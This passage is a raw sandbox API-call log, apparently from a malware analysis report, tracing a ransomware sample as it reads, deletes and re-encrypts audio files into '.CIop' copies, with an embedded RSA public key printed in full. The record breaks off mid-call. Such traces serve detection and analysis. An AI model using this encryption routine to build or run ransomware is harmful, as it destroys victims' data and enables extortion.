returned 0xffffffff [0094.757] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.757] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.758] CloseHandle (hObject=0x4a8) returned 1 [0094.759] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\eEmxkUZ3.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\eemxkuz3.wav")) returned 0 Thread: id = 104 os_tid = 0x414 [0094.780] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.780] lstrcpyW (in: lpString1=0x2fef368, lpString2="I8Dv-9gTrMuD.mp3" | out: lpString1="I8Dv-9gTrMuD.mp3") returned="I8Dv-9gTrMuD.mp3" [0094.780] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.780] SetErrorMode (uMode=0x1) returned 0x1 [0094.780] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\I8Dv-9gTrMuD.mp3") returned 48 [0094.780] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\I8Dv-9gTrMuD.mp3", dwFileAttributes=0x20) returned 1 [0094.780] StrStrW (lpFirst="I8Dv-9gTrMuD.mp3", lpSrch=".CIop") returned 0x0 [0094.780] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\I8Dv-9gTrMuD.mp3.CIop") returned 53 [0094.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\I8Dv-9gTrMuD.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\i8dv-9gtrmud.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a4 [0094.781] ReadFile (in: hFile=0x4a4, lpBuffer=0x638ce8, nNumberOfBytesToRead=0xe7d4, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesRead=0x2fee5e8*=0xe7d4, lpOverlapped=0x0) returned 1 [0094.781] CloseHandle (hObject=0x4a4) returned 1 [0094.781] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\I8Dv-9gTrMuD.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\i8dv-9gtrmud.mp3")) returned 1 [0094.841] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3290000 [0094.841] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x32a0000 [0094.841] SetErrorMode (uMode=0x1) returned 0x1 [0094.841] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x62eba8) returned 1 [0094.872] CryptGenKey (in: hProv=0x62eba8, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c2d10) returned 1 [0094.902] CryptExportKey (in: hKey=0x5c2d10, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.902] CryptExportKey (in: hKey=0x5c2d10, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x32a0000, pdwDataLen=0x2fee5ec | out: pbData=0x32a0000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.902] CryptDestroyKey (hKey=0x5c2d10) returned 1 [0094.902] CryptReleaseContext (hProv=0x62eba8, dwFlags=0x0) returned 1 [0094.902] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\I8Dv-9gTrMuD.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\i8dv-9gtrmud.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8 [0094.902] WriteFile (in: hFile=0x4b8, lpBuffer=0x638ce8*, nNumberOfBytesToWrite=0xe7d4, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesWritten=0x2fee5d8*=0xe7d4, lpOverlapped=0x0) returned 1 [0094.904] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe7d4 [0094.904] WriteFile (in: hFile=0x4b8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.904] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe7db [0094.904] SetErrorMode (uMode=0x1) returned 0x1 [0094.904] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.904] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.904] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0094.904] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x62e438) returned 1 [0094.904] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62e438, dwCertEncodingType=0x1, pInfo=0x5c16b0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c2b50) returned 1 [0094.905] CryptEncrypt (in: hKey=0x5c2b50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0094.905] CryptEncrypt (in: hKey=0x5c2b50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62eba8*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62eba8*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0094.905] WriteFile (in: hFile=0x4b8, lpBuffer=0x62eba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x62eba8*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.905] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.906] VirtualFree (lpAddress=0x3290000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.906] VirtualFree (lpAddress=0x32a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.906] CloseHandle (hObject=0x4b8) returned 1 [0094.908] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\I8Dv-9gTrMuD.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\i8dv-9gtrmud.mp3")) returned 0 Thread: id = 105 os_tid = 0xa60 [0094.795] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.795] lstrcpyW (in: lpString1=0x312f368, lpString2="N0rL.wav" | out: lpString1="N0rL.wav") returned="N0rL.wav" [0094.795] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.795] SetErrorMode (uMode=0x1) returned 0x1 [0094.795] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\N0rL.wav") returned 40 [0094.795] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\N0rL.wav", dwFileAttributes=0x20) returned 1 [0094.795] StrStrW (lpFirst="N0rL.wav", lpSrch=".CIop") returned 0x0 [0094.795] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\N0rL.wav.CIop") returned 45 [0094.795] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\N0rL.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\n0rl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4a8 [0094.796] ReadFile (in: hFile=0x4a8, lpBuffer=0x652658, nNumberOfBytesToRead=0xb256, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesRead=0x312e5e8*=0xb256, lpOverlapped=0x0) returned 1 [0094.797] CloseHandle (hObject=0x4a8) returned 1 [0094.797] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\N0rL.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\n0rl.wav")) returned 1 [0094.952] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3270000 [0094.953] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3280000 [0094.953] SetErrorMode (uMode=0x1) returned 0x1 [0094.953] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x5f4bf8) returned 1 [0094.955] CryptGenKey (in: hProv=0x5f4bf8, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x5c2e50) returned 1 [0094.972] CryptExportKey (in: hKey=0x5c2e50, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0094.972] CryptExportKey (in: hKey=0x5c2e50, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3280000, pdwDataLen=0x312e5ec | out: pbData=0x3280000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0094.972] CryptDestroyKey (hKey=0x5c2e50) returned 1 [0094.972] CryptReleaseContext (hProv=0x5f4bf8, dwFlags=0x0) returned 1 [0094.972] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\N0rL.wav.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\n0rl.wav.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b0 [0094.973] WriteFile (in: hFile=0x4b0, lpBuffer=0x652658*, nNumberOfBytesToWrite=0xb256, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x652658*, lpNumberOfBytesWritten=0x312e5d8*=0xb256, lpOverlapped=0x0) returned 1 [0094.974] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb256 [0094.974] WriteFile (in: hFile=0x4b0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.974] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb25d [0094.974] SetErrorMode (uMode=0x1) returned 0x1 [0094.974] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.974] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.974] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0094.974] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x5c8c80) returned 1 [0094.974] CryptImportPublicKeyInfoEx (in: hCryptProv=0x5c8c80, dwCertEncodingType=0x1, pInfo=0x5c1ac0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x5c2b90) returned 1 [0094.974] CryptEncrypt (in: hKey=0x5c2b90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0094.974] CryptEncrypt (in: hKey=0x5c2b90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c9038*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x5c9038*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0094.975] WriteFile (in: hFile=0x4b0, lpBuffer=0x5c9038*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x5c9038*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.975] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.976] VirtualFree (lpAddress=0x3270000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.976] VirtualFree (lpAddress=0x3280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.976] CloseHandle (hObject=0x4b0) returned 1 [0094.977] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\N0rL.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\n0rl.wav")) returned 0 Thread: id = 106 os_tid = 0x510 [0094.810] lstrcpyA (in: lpString1=0x326e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.810] lstrcpyW (in: lpString1=0x326f368, lpString2="p6UEXQwLP.mp3" | out: lpString1="p6UEXQwLP.mp3") returned="p6UEXQwLP.mp3" [0094.810] lstrcpyW (in: lpString1=0x326f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\" [0094.811] SetErrorMode (uMode=0x1) returned 0x1 [0094.811] wsprintfW (in: param_1=0x326eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\p6UEXQwLP.mp3") returned 45 [0094.811] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\p6UEXQwLP.mp3", dwFileAttributes=0x20) returned 1 [0094.811] StrStrW (lpFirst="p6UEXQwLP.mp3", lpSrch=".CIop") returned 0x0 [0094.811] wsprintfW (in: param_1=0x326e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\p6UEXQwLP.mp3.CIop") returned 50 [0094.811] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\p6UEXQwLP.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\p6uexqwlp.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac [0094.811] ReadFile (in: hFile=0x4ac, lpBuffer=0x65d8b8, nNumberOfBytesToRead=0x15b36, lpNumberOfBytesRead=0x326e5e8, lpOverlapped=0x0 | out: lpBuffer=0x65d8b8*, lpNumberOfBytesRead=0x326e5e8*=0x15b36, lpOverlapped=0x0) returned 1 [0094.812] CloseHandle (hObject=0x4ac) returned 1 [0094.812] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\p6UEXQwLP.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\p6uexqwlp.mp3")) returned 1 [0094.839] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x3270000 [0094.839] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3280000 [0094.839] SetErrorMode (uMode=0x1) returned 0x1 [0094.839] CryptAcquireContextW (in: phProv=0x326e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x326e5b8*=0x62e988) returned 1 [0094.844] CryptGenKey (in: hProv=0x62e988, Algid=0x1, dwFlags=0x4000, phKey=0x326e5bc | out: phKey=0x326e5bc*=0x5c2e90) returned 1 [0094.945] CryptExportKey (in: hKey=0x5c2e90, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x326e5ec | out: pbData=0x0*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0094.945] CryptExportKey (in: hKey=0x5c2e90, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3280000, pdwDataLen=0x326e5ec | out: pbData=0x3280000*, pdwDataLen=0x326e5ec*=0x94) returned 1 [0094.945] CryptDestroyKey (hKey=0x5c2e90) returned 1 [0094.945] CryptReleaseContext (hProv=0x62e988, dwFlags=0x0) returned 1 [0094.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Music\\p6UEXQwLP.mp3.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\p6uexqwlp.mp3.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0094.947] WriteFile (in: hFile=0x4bc, lpBuffer=0x65d8b8*, nNumberOfBytesToWrite=0x15b36, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x65d8b8*, lpNumberOfBytesWritten=0x326e5d8*=0x15b36, lpOverlapped=0x0) returned 1 [0094.948] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15b36 [0094.948] WriteFile (in: hFile=0x4bc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x326e5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.948] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x15b3d [0094.948] SetErrorMode (uMode=0x1) returned 0x1 [0094.948] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.948] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.948] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0094.948] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x62e988) returned 1 [0094.949] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62e988, dwCertEncodingType=0x1, pInfo=0x5c1d30, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x5c2ed0) returned 1 [0094.949] CryptEncrypt (in: hKey=0x5c2ed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: 